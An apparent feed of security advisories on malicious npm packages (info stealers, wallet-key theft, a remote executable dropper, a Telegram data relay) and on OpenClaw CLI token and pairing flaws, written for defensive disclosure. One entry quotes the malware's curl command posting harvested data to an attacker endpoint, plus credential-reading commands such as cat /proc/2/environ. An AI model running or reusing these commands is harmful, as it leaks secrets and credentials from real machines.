The @worca/app npm package versions 1.14.0-rc.2 and 1.14.0-rc.4 contain malicious code that can fully compromise any computer on which it is installed or running. The package includes components resembling an egress-control proxy, telemetry channels, and local bridge/UI, with suspicious token co-occurrences detected in multiple core files. Removal of the package alone does not guarantee elimination of all malicious software, and all secrets and keys on the affected machine should be rotated immediately from a separate, trusted device.
The npm package bcs-mini version 1.0.1 contains malicious code that exfiltrates sensitive Sui wallet credentials and private keys from the user's environment to an attacker-controlled GitHub repository. The payload activates on module load, reads specific local files containing secrets, encodes and uploads them using an obfuscated GitHub token, then modifies its own source to hide the malicious code. Execution is suppressed in CI environments to evade detection. Any system with this package installed should be considered fully compromised, and all secrets must be rotated from a clean device.
OpenClaw CLI versions up to 2026.3.11 exposed long-lived shared gateway credentials in pairing setup codes generated by the /pair and openclaw qr commands. These setup codes embedded the shared gateway token or password directly, allowing anyone with access to the code (via logs, screenshots, or chat history) to recover and reuse these credentials outside the intended one-time pairing process. This issue was fixed in version 2026.3.12 by replacing the long-lived credentials with short-lived bootstrap tokens valid only for initial device bootstrap. Users should update to 2026.3.12 or later and rotate any exposed credentials if leaks are suspected.
The OpenClaw CLI has a vulnerability where the gateway command `device.token.rotate` does not terminate active WebSocket sessions after device tokens are rotated. This creates a post-compromise revocation gap, allowing existing authenticated WebSocket sessions to remain active despite credential rotation. The issue affects versions from 2026.1.29 up to but not including 2026.3.31. The vulnerability has a medium severity with a CVSS score of 5.4. A fix has been released in version 2026.3.31.
OpenClaw CLI versions up to 2026.4.7 have a vulnerability in the device.token.rotate function that allows minting tokens for unapproved roles, bypassing the intended device role-upgrade pairing process. This flaw could result in tokens preserving or granting roles/scopes without proper approval. The issue affects the OpenClaw user-controlled local assistant and does not involve multi-tenant service boundaries. A patch is available in version 2026.4.8.
A vulnerability in OpenClaw CLI's Control UI allows an attacker with network access to spoof locality information during pairing, potentially obtaining a durable admin device token. This issue affects LAN/shared-token deployments where locality signals are trusted for pairing decisions. The vulnerability enables persistence of admin access even after shared tokens are rotated unless the paired device is removed. It is not exploitable remotely without prior network/authentication access. A fix is available in version 2026.5.22.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (ce64fb8d6264bfc9affaf6b3544637cb8559b232075b70a48144e5f1c1743020)
blekit is published as a React Native BLE SDK, but its main entry re-exports a logger module (`consoleApp`/`initializeLogger`/`getCurrentStatus` from `dist/src/handlelogs.mjs`) that POSTs any string passed to it to `https://api.telegram.org/bot<token>/sendMessage` with a hardcoded `chat_id` of `-1003846719897`. Three live Telegram bot tokens are embedded in the compiled bundle and rotated round-robin; the destination chat is not caller-configurable and is not disclosed in the README. Alongside the relay, the same file exposes `getEnhancedDeviceInfo` (re-exported as `getDeviceInfo`), which gathers precise GPS latitude/longitude with a `https://www.google.com/maps?q=<lat>,<lng>` link, unique device id, IP address, VPN state, brand/model/OS, battery, storage, timezone, locale, and security posture (rooted, emulator, screenLock, mockLocation), and can be stringified via `stringifyData` and passed straight into `consoleApp` to be shipped to the same Telegram chat. Any application that integrates blekit and calls the exported logger silently transmits its data — and, when the device-info helper is used, end-user GPS coordinates and persistent device identifiers — to an author-controlled Telegram channel that the app developer and end user never opted into.
## Source: ghsa-malware (f4213a76b2c5c574d5bfa41897a698d068ba56f146c88855eb2aeb2aac8ec9eb)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The bigops-auth npm package version 35.8.6 contains malicious code that executes at require() time. It reconstructs obfuscated Cloudflare Workers hostnames and DNS resolver domains to fetch a platform-specific executable from attacker-controlled infrastructure. This executable is saved with disguised names mimicking legitimate diagnostic files, given executable permissions, and launched detached on the host system. The package masquerades as an authentication token handler but performs unauthorized remote code execution without integrity checks. Any system with this package installed should be considered fully compromised, and all stored secrets and keys must be rotated from a separate, clean device.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (038aa6bccd8008fec1f309d718e53dd4b89e4ca15a976c6a80652e0dd58a5b58)
Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every `npm install` and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes `const BURL = 'http://2e3bkumw.requestrepo.com'` and postinstall.js:16 invokes `execSync(\`curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...\`)` to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process via `xxd /proc/2/mem`, that process's environment block via `cat /proc/2/environ` (commonly containing CI tokens and cloud credentials), `/proc/2/cmdline`, `ps aux`, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from `/dev/vdb`. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment `绕过能力探测` = 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host running `npm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure.
## Source: ghsa-malware (29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The npm package 'xo-styles' version 88.8.9 contains malicious code that installs a dependency from a custom domain which executes an information stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Systems with this package installed should be considered fully compromised, and all secrets and keys stored on those systems must be rotated immediately from a secure, unaffected device.
The npm package 'xo-login-components' version 88.8.9 contains malicious code that installs a dependency from a custom domain which runs an information stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Systems with this package installed should be considered fully compromised, and all secrets and keys stored on those systems must be rotated immediately from a separate, trusted device.
The transform-es2015-modules-commonjs npm package version 7.9.0 contains malicious code that installs a dependency from a custom domain which executes an information stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Systems with this package installed should be considered fully compromised, and all secrets and keys must be rotated from a secure device. Removing the package alone does not guarantee removal of all malicious software.
The wdr-beam npm package version 0.3.0 contains malicious code that installs a dependency from a custom domain which executes an information stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Systems with this package installed should be considered fully compromised, and all secrets and keys must be rotated immediately from a secure device. Removal of the package alone may not eliminate all malicious components.
The npm package @gitlab-lsp/workflow-api version 0.3.0 contains malicious code that installs an info stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Any system with this package installed should be considered fully compromised, and all secrets and keys stored on that system must be rotated immediately from a separate, secure device. Removing the package alone does not guarantee removal of all malicious components.
The npm package @gitlab-test/yarn-v4 version 0.3.0 contains malicious code that installs an info stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Any system with this package installed should be considered fully compromised, and all secrets and keys stored on that system must be rotated immediately from a separate, clean device.
The npm package @gitlab-test/bun-v1 version 0.3.0 contains malicious code that installs an info stealer during installation. This info stealer targets npm, git, and other CI/CD tokens, potentially compromising secrets and keys on the affected computer. Removal of the package does not guarantee elimination of all malicious software, and any secrets stored on the compromised machine should be rotated immediately from a different device.
The npm package @decentraland-gatsby/intl version 0.3.0 contains malicious code that installs a dependency from a custom domain which executes an information stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Systems with this package installed should be considered fully compromised, and all secrets and keys stored on those systems must be rotated immediately from a clean device.
The npm package 'skyscanner-with-prettier' version 1.0.0 contains malicious code that installs a dependency from a custom domain which executes an information stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Any system with this package installed should be considered fully compromised, and all stored secrets and keys must be rotated immediately from a secure device. Removing the package alone may not eliminate all malicious components due to potential full system compromise.